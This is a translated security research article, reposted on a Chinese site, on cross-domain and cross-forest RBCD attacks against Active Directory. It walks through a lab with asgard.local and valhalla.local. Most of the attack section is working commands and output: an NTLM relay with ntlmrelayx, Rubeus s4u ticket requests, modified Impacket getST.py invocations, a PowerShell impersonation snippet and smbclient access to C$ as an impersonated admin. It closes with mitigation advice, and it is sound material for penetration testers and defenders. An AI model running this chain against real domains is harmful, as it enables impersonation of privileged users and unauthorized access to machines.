文章总结： 本文研究跨域和跨森林环境下的RBCD攻击，填补了该领域的技术空白。作者详细分析了Kerberos协议交互细节，开发了支持跨域攻击的Impacket脚本，并通过实验验证了完整的攻击流程。研究为渗透测试和安全评估提供了重要的技术洞察和实用工具。
综合评分： 88
文章分类： 渗透测试,内网渗透,红队,应用安全,实战经验

探索跨域与跨森林的 RBCD 攻击

Simon Msika
Simon Msika

securitainment

2026年3月25日 18:40
中国香港

基于资源的约束委派 (RBCD) 攻击在渗透测试人员和攻击者中广为人知：通过修改机器账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，攻击者可在目标机器上冒充任意用户。尽管这一攻击技术已在单域场景下被充分记录，且可借助 Impacket 或 Rubeus 工具实施，但专门讨论其在跨域和跨森林环境下实现的资料却寥寥无几。本文将介绍跨域和跨森林 RBCD 的完整攻击流程，并提供基于 Impacket 的脚本实现。

| 原文链接 | 作者 |
| — | — |
| https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd.html | Simon Msika |

引言

近期，我们遇到了一个特殊场景：可以修改某 Active Directory 域中服务器的 msDS-AllowedToActOnBehalfOfOtherIdentity属性。这一条件自然地引导我们考虑基于资源的约束委派攻击 (RBCD)——该攻击在渗透测试圈已有数年历史，且文档资料十分完善。

然而，我们在目标域上并没有任何账户，仅持有一个子域上的账户。在研究如何在这一跨域环境中实施该攻击时，我们发现现有的 Impacket 工具并不支持跨域 RBCD 操作。

由于此前针对这一跨域 RBCD 攻击路径的公开描述极为有限，这促使我们深入研究跨域环境下的 RBCD 工作流程。

实施跨域 RBCD

实验环境搭建

为了研究跨域 RBCD，我们构建了两个域：主域 asgard.local和子域 dev.asgard.local。在 asgard.local域中，我们加入了一台工作站（命名为 workstation），作为本次 RBCD 攻击的目标。

在 dev.asgard.local 中，我们创建了计算机对象 rbcd_test$：

python3 addcomputer.py dev.asgard.local/thor_dev:'[...]' -dc-ip 192.168.90.131 -computer-name rbcd_test -computer-pass '[...]'

随后，我们将 [email protected]账户添加到 workstation$.asgard.local对象的 msDS-AllowedToActOnBehalfOfOtherIdentity字段，使其具备执行 RBCD 工作流的权限。

为此，我们模拟真实渗透测试中的操作，实施了 NTLM 中继攻击，并使用 Impacket 的 ntlmrelayx.py 脚本。由于 [email protected]并非 asgard.local域的成员，目标域的 LDAP 中不存在该账户记录，因此命令行中须改用 rbcd_test$对象的 SID。

我们使用了如下命令：

$ sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 --no-dump --no-da --no-validate-privs --delegate-access --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 --sid
[...]
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /21i/pipe/srvsvc
[*] HTTPD(80): Connection from 192.168.90.190 controlled, attacking target ldap://192.168.90.217
[*] HTTPD(80): Authenticating against ldap://192.168.90.217 as ASGARD/WORKSTATION$ SUCCEED
[*] Assuming relayed user has privileges to escalate an user via ACL attack
[-] User not found in LDAP: S-1-5-21-3104832133-133926542-3798009529-1106
[-] Unable to escalate without a valid user.
[*] Delegation rights modified succesfully!
[*] S-1-5-21-3104832133-133926542-3798009529-1106 can now impersonate users on WORKSTATION$ via S4U2Proxy

至此，委派关系已配置完毕。下一步目标是利用这一 RBCD 配置，在该工作站上冒充 [email protected]用户，进而实现对其的渗透。

跨域 RBCD 工作流

在查阅 RBCD 工作流各步骤所涉及的 Kerberos 协议文档时，我们找到了微软关于跨域 S4U2Self 的官方文档。

然而，关于跨域环境下的 S4U2Proxy（执行 RBCD 攻击同样不可或缺），我们未能找到任何相关资料。

好在 Rubeus 的 S4U.cs 文件中的 CrossDomainS4U函数已经实现了跨域 S4U2Self 和 S4U2Proxy！以下是跨域 RBCD 利用所涉及的完整步骤：

跨域 RBCD 中 Kerberos 交互示意图。

1. 从 dev域控制器获取 [email protected]的 TGT。
2. 向 dev域控制器申请一个引用 TGT，以便向 asgard.local域控制器进行身份验证。
3. 凭借该票据，通过 S4U2Self 在 asgard.local域控制器上为 [email protected]用户获取“引用”ST。
4. 利用上述票据，再次通过 S4U2Self 在 dev.asgard.local域控制器上，为 [email protected]服务获取 [email protected]用户的 ST。
5. 提供初始 TGT 和前一步获得的票据，通过 S4U2Proxy 向 dev.asgard.local域控制器申请引用票据。
6. 利用所获票据和引用 TGT，通过 S4U2Proxy 向 asgard.local域申请最终服务票据。

如上所述，在执行以下命令时，Rubeus 会自动完成上述全部步骤：

Rubeus.exe s4u /user:"rbcd_test$" /aes256:2b[...]b8fe /domain: dev.asgard.local /impersonateuser:thor_adm /msdsspn:"cifs/workstation.asgard.local" /targetdc:dc01.asgard.local /targetdomain:asgard.local /ptt /nowrap

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: C2354F843A6C52BC484522831DFA13531EB0F72DE9D9133EBEF447A5CF60F0E3
[*] Building AS-REQ (w/ preauth) for: 'dev.asgard.local\rbcd_test$'
[*] Using domain controller: 192.168.90.131:88
[+] TGT request successful!
[...]

[*] Action: S4U

[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from DEV.ASGARD.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[+] TGS request successful!
[...]

  ServiceName              :  krbtgt/ASGARD.LOCAL
  ServiceRealm             :  DEV.ASGARD.LOCAL
  UserName                 :  rbcd_test$ (NT_PRINCIPAL)
  UserRealm                :  DEV.ASGARD.LOCAL
  StartTime                :  04/11/2025 17:32:38
  EndTime                  :  05/11/2025 03:32:38
  RenewTill                :  11/11/2025 17:32:38
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  5Qsm4lJIOWsjZL8fyCgAJA==

[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]

[*] Requesting the S4U2Self ticket from DEV.ASGARD.LOCAL
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]

[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]

[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]

[+] Ticket successfully imported!

票据导入后，即可使用它访问 workstation.asgard.local的 C$共享：

dir \\workstation.asgard.local\c$

    Répertoire : \\workstation.asgard.local\c$

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        14/04/2025     09:51                inetpub
d-----        07/12/2019     10:14                PerfLogs
d-r---        05/05/2025     17:13                Program Files
d-r---        16/01/2025     18:20                Program Files (x86)
d-r---        30/10/2025     16:17                Users
d-----        28/05/2025     14:35                Windows
-a----        22/02/2024     01:33         112136 appverifUI.dll
-a----        28/05/2025     14:51         154093 log.txt
-a----        22/02/2024     01:34          66328 vfcompat.dll

在 Linux 上：基于 Impacket 的实现

用 Rubeus 完成攻击后，我们想进一步确认该攻击是否同样可以用 Impacket 实现。遗憾的是，Impacket 套件中的 getST.py 脚本无法直接用于执行 S4U2Self 和 S4U2Proxy 步骤。

首先，通过分析一次成功的跨域 RBCD 过程的 PCAP，我们发现在步骤 3 至 6 中请求服务票据时，请求体中的 realm 与用于发起 TGS-REQ 的票据所声明的 realm 并不一致：

Wireshark 抓包：提供的票据与 ST 请求中的 realm 不同。

而现有版本的 Impacket getST.py 并不支持在 Kerberos 请求中手动指定 realm，因为 realm 始终是从请求所附带的票据中读取的：

defdoS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

[...]
        reqBody['realm'] =str(decodedTGT['crealm'])

此外，现有实现仅支持单独执行 S4U2Self 步骤（步骤 3/4），或将 S4U2Self 与 S4U2Proxy 串联执行——S4U2Proxy 步骤无法独立调用。

为此，我们参照 Rubeus 的实现思路，在 Impacket 的 getST.py 中添加了跨域 RBCD 攻击的支持。该脚本现已发布于此处。

使用本脚本时，需额外提供以下参数：

• 第一个目标 DC 的 IP，即已控账户所在域的域控制器（-dc-ip）；
• 目标域（-targetdomain）；
• 目标 DC 的 IP，即被冒充账户所在域的域控制器（-targetdc）。

在我们的测试场景中，完整的利用命令如下：

$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] dev.asgard.local
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@[email protected]

脚本执行完毕后，我们成功获得了一张可用于在工作站上冒充 thor_adm并访问 C$共享的票据：

$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] dev.asgard.local
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@[email protected]

$ KRB5CCNAME=thor_adm@[email protected] ./smbclient.py "asgard.local/[email protected]" -k -no-pass -dc-ip 192.168.90.217

[+] Using Kerberos Cache: thor_adm@[email protected]
[+] Returning cached credential for CIFS/[email protected]
[+] Using TGS from cache
Type help for list of commands
# use c$
# ls
drw-rw-rw-          0  Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw-          0  Tue Jul  8 09:53:41 2025 $WinREAgent
-rw-rw-rw-     112136  Thu Jan 16 18:20:04 2025 appverifUI.dll
drw-rw-rw-          0  Thu Jan 16 17:26:14 2025 Documents and Settings
[...]

大功告成！

探索跨森林 RBCD

在充分理解跨域 RBCD 机制的底层原理后，我们满怀信心地尝试将同样的攻击应用于两个不同的森林：asgard.local与 valhalla.local。

配置好两个域之间的信任关系后，我们为 desktop$.valhalla.local设置了针对 workstation.asgard.local的 RBCD：desktop$.valhalla.local现在理论上可以在 workstation.asgard.local上冒充任意用户。

随即，我们运行 Rubeus，以为一切会顺利执行：

Rubeus.exe s4u /user:"desktop$" /domain:valhalla.local /aes256:D3E7[...] /impersonateuser:thor /msdsspn:cifs/workstation.asgard.local /targetdc:dc01.asgard.local /dc:DC.valhalla.local /targetdomain:asgard.local /nowrap /ptt

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: D3E7[...]
[*] Building AS-REQ (w/ preauth) for: 'valhalla.local\desktop$'
[*] Using domain controller: 192.168.90.161:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Action: S4U

[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from VALHALLA.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[+] TGS request successful!
[*] base64(ticket.kirbi):

      do[...]

  ServiceName              :  krbtgt/ASGARD.LOCAL
  ServiceRealm             :  VALHALLA.LOCAL
  UserName                 :  desktop$ (NT_PRINCIPAL)
  UserRealm                :  VALHALLA.LOCAL
  StartTime                :  06/11/2025 16:27:06
  EndTime                  :  07/11/2025 02:27:06
  RenewTill                :  13/11/2025 16:27:06
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  UMT4xgEW71Wuq9eR3fqE5A==

[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Requesting the S4U2Self ticket from VALHALLA.LOCAL
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from DC.valhalla.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on DC.valhalla.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/workstation.asgard.local':

      doIG[...]

[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request

[X] KRB-ERROR (12) : KDC_ERR_POLICY

……然而攻击失败，报出了 KDC_ERR_POLICY错误。

由上述命令输出可知，仅最后一步（引用后的 S4U2Proxy）告败。尽管如此，通过 S4U2Proxy 获取的引用 ST（即上图中的步骤 5）的内容与跨域 RBCD 场景中所获得的基本一致：

• 两张票据均带有 forwardable、renewable、pre_authent、ok_as_delegate和 enc_pa_rep标志。
• 两者的额外 SID 相同：S-1-18-2（服务声明身份）。
• 两者均设置了 PAC_WAS_GIVEN_IMPLICITLY标志。
• 等等。

KDC_ERR_POLICY错误暗示某种过滤机制正在起作用，但据我们所知，SID 过滤机制并不适用于此场景。

事实上，即便用无特权用户进行冒充，也会得到同样的 KDC_ERR_POLICY错误——尽管微软文档中提及的任何 SID/组 SID 均与我们的流程无关。

我们还尝试启用信任关系的 TGT 委派，因为委派机制确实是我们流程的一部分，但结果毫无差异。

在排查跨森林委派失败的原因时，我们偶然发现了以下表格，其中汇总了 RBCD 各种有效配置：https://freeipa.readthedocs.io/en/latest/designs/rbcd.html#use-cases。

该表格引用了微软文档，其中指出：

2. 在包含用户森林、资源森林和 Windows Server Web 应用程序代理森林的多森林部署中，以下配置受支持：
    a. 用户和应用程序代理服务器位于同一森林，但资源位于不同的森林。
    b. 资源和应用程序代理服务器位于同一森林，但用户位于不同的森林。传统 KCD。

3. 在包含用户森林、资源森林和 Windows Server Web 应用程序代理森林的多森林部署中，以下配置将不起作用：
    a. 用户、资源和应用程序代理服务器均位于不同的森林。
    b. 用户和资源位于同一森林，但应用程序代理服务器位于不同的森林。

来自微软文档的截图：这些配置无法正常工作。

由此推及我们的场景：跨森林 RBCD 仅在被冒充用户与被授权执行委派的主体同属一个森林时才能奏效。因此，在当前的配置下，我们只能冒充 valhalla.local森林中的用户。

虽然跨森林攻击路径的效果不如常规 RBCD 或跨域 RBCD（因为无法冒充目标森林中的用户），但如果另一个森林的用户被授予了管理权限，这一路径仍然具有利用价値。只要攻击者在该森林中持有一个有效账户，就足以发动攻击。

因此，为了模拟这一攻击路径，我们向 [email protected]授予了 workstation.asgard.local的本地管理员权限。我们的目标将是冒充 [email protected]来访问 workstation.asgard.local。

然而，即便考虑到上述 RBCD 限制，现有工具（Rubeus 或 Impacket）仍无法让我们完整实施跨森林 RBCD。为此，我们参照 exploit.ph 的文档以及 Will Schroeder 的研究，以 desktop$（被允许在 workstation.asgard.local上冒充用户的服务）身份运行以下代码，模拟了跨森林委派的 Kerberos 交互流量：

# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\workstation.asgard.local\C$

我们模拟了完整的委派流程，并对生成的 Kerberos 流量进行了分析。我们归纳出以下步骤：

1. 从 VALHALLA 域控制器获取 [email protected]的 TGT。
2. 凭借该票据，通过 S4U2Self 在 valhalla.local域控制器上为 [email protected]用户获取 ST。
3. 接着，仍在 valhalla.local域控制器上，通过 S4U2Proxy 为 [email protected]用户发起目标服务的 ST 请求。valhalla.local域控制器返回了一张到 asgard.local域的引用 TGT。
4. 再次在 valhalla.local域控制器上发起 S4U2Proxy 的 ST 请求，但这次不提供 S4U2Self 获取的票据作为附加票据，同时在 PA-PAC-OPTIONS中启用 branch-aware标志。valhalla.local域返回了另一张到 asgard.local域的引用 TGT。
5. 凭借步骤 3 获得的引用 TGT，向 asgard.local域控制器请求目标服务的 ST。最终获得一张以 [email protected]为主体、针对目标服务的 ST——但该票据在后续流程中不会被使用。
6. 结合步骤 3 和步骤 4 获得的引用票据，向 asgard.local域控制器发起 S4U2Proxy 请求。最终获得以被冒充用户（[email protected]）身份访问目标服务的 ST。

跨森林 RBCD 中 Kerberos 交互示意图。

可以看到，步骤 1 至 3 与单域常规 RBCD 完全相同。然而，此时获得的是一张引用 TGT，它是最终获取目标服务 ST（在我们的场景中为 cifs/workstation.asgard.local）所需两张票据之一。

仔细分析跨森林 RBCD 产生的 Kerberos 流量后，我们注意到步骤 5 获得的票据在整个跨森林流程中从未被实际使用。因此，完全可以跳过这一请求，同样能够获取目标服务的有效 ST。

跨森林 RBCD 实现与常规 RBCD 流程存在几处关键差异，导致现有的 Rubeus 和 Impacket 实现无法完成完整流程。具体而言：

• 步骤 4 中，ST 请求必须设置 branch-aware标志，而 Rubeus 和 Impacket 的实现均未使用该标志。
• 步骤 6 中，票据将以 RC4 加密，与所提供的加密选项无关。

最后，我们在 getST.py 中实现了上述所有步骤（可在此处获取），并成功获取到了针对 cifs/workstation.asgard.local的有效票据。使用时需向脚本传入额外参数（-forest），以判断当前是否处于跨森林 RBCD 场景：

$ python3 ./getST.py -spn 'cifs/workstation.asgard.local' -impersonate 'v_thor' -dc-ip VALHALLA.local valhalla.local/'desktop$' -targetdc ASGARD.local -targetdomain asgard.local -aesKey 4[...]f -forest

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Requesting TGS
[*] Saving ticket in v_thor@[email protected]

$ KRB5CCNAME=v_thor@[email protected] smbclient.py -k -no-pass -target-ip 192.168.90.190 valhalla.local/[email protected]
# use c$
# ls
drw-rw-rw-          0  Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw-          0  Tue Jul  8 09:53:41 2025 $WinREAgent
-rw-rw-rw-     112136  Thu Feb 12 18:32:33 2026 appverifUI.dll
drw-rw-rw-          0  Thu Jan 16 17:26:14 2025 Documents and Settings

总结

本次研究使我们得以深入探索 Kerberos 协议在跨域和跨森林环境下的复杂机制。我们成功实现了跨森林的 RBCD 攻击，并将完整工作流移植到 Impacket 中，使其可在 Linux 系统上使用。

防御上述攻击的方法相对直接。RBCD 攻击路径的出现往往依赖于 NTLM 中继场景的可行性。应在 Active Directory 服务层面部署防中继机制：强制启用 LDAP 签名和通道绑定，并在无实际业务需求的前提下禁用助长中继攻击的协议（LLMNR、IPv6 等）。此外，ACL 配置错误同样可能产生 RBCD 攻击路径，建议使用 BloodHound 对 ACL 进行排查，以覆盖此类场景。

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：securitainment Simon Msika
Simon Msika《探索跨域与跨森林的 RBCD 攻击》